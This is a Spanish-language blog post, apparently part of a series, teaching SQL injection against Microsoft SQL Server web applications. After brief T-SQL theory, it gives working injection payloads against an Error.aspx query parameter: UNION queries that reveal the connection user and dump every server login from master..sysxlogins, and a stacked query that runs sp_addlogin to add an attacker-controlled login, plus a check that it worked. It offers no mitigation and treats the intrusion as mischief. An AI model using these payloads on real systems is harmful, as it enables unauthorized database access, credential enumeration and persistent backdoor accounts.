Ya en la anterior entrega les comentaba sobre los ataques por inyección SQL desde la web.
Repasemos algo de teoría, ...SQL SERVER usa las sentencias del lenguaje T-SQL para extraer data y crear objetos en la base de datos.
Este T-SQL se divide en:
DDL, Lenguaje de Descripción de Datos:Para crear / destruir objetos de la base de datos (CREATE, DROP ...),
DML, Lenguaje de Manipulación de Datos: Para insertar / modificar datos en los objetos creados(SELECT,INSERT, ...) y,
DCL, Lenguaje de Control de Datos:Para conceder permisos de quién puede usar cuál objeto (GRANT, DENY ...).
Es más, un buen DBA debería poder administrar sus bases de datos usando sólo T-SQL... y si ellos pueden manejar toda sus base de datos con puro T-SQL .... entonces:
¿no es cierto que si alguien maneja bastante bien el T-SQL, podrá -tal vez- manipular tu base de datos?
Podrían por ejemplo consultar por los procedimientos almacenados del sistema y procedimientos extendidos? Claro pe'...
Otro pequeño ejemplo:
SELECT [name] FROM sysobjects WHERE [name] LIKE '%reg%'
Esta consulta retorna una lista de los procedimientos almacenados que manipulan el registro de windows.
Seguro que no muchos sabían que se puede manipular el registro desde T-SQL. Se puede hacer eso y mucho más.
Un gran error que los programadores cometen a menudo es configurar el DSN con usuario sa. Haciendo esto le dan full accesoa la aplicación web sobre la base de datos (y por lo tanto, a las inyecciones SQL ... jeje).
Si tú ejecutas esta sentencia:
SELECT USER ....../Error.aspx?ErrorCode=2 UNION SELECT USER
estarías obteniendo el usuario con el cual se ha establecido la conexión al Servidor SQL SERVER.
De esta forma prácticamente estarías determinando tu nivel de acceso a la base de datos.
Pongámonos en el caso que la consulta me devuelva DBO ... Bingo !!
Obtengo el rol con el cual se logueó el usuario ... ojo, no es el actual login ID ...si quieres obtener el actual login , o todos los logins, debes obtenerlo de la base de datos master ... en la tabla sysxlogins.
Créeme que si tú haces algo como esto:
.../Error.aspx?ErrorCode=2 union select name from master..sysxlogins
el resultado será la completa lista de usuarios de tu servidor de base de datos.
Vayamos un poco más allá ... añadiremos nuestro propio login y password a la base de datos:
.../Error.aspx?ErrorCode=2;exec sp_addlogin 'usuarioloco','loquillo','master'
Listo. Observa que en lugar de poner el operador UNION, he puesto un punto y coma ... lo cual evita que retornen filas.
Para confirmar que nuestra travesura tuvo éxito simplemente ejecutamos nuevamente la sentencia
.../Error.aspx?ErrorCode=2 union select name from master..sysxlogins
La seguimos en la próxima entrega ... chau.
No hay comentarios.:
Publicar un comentario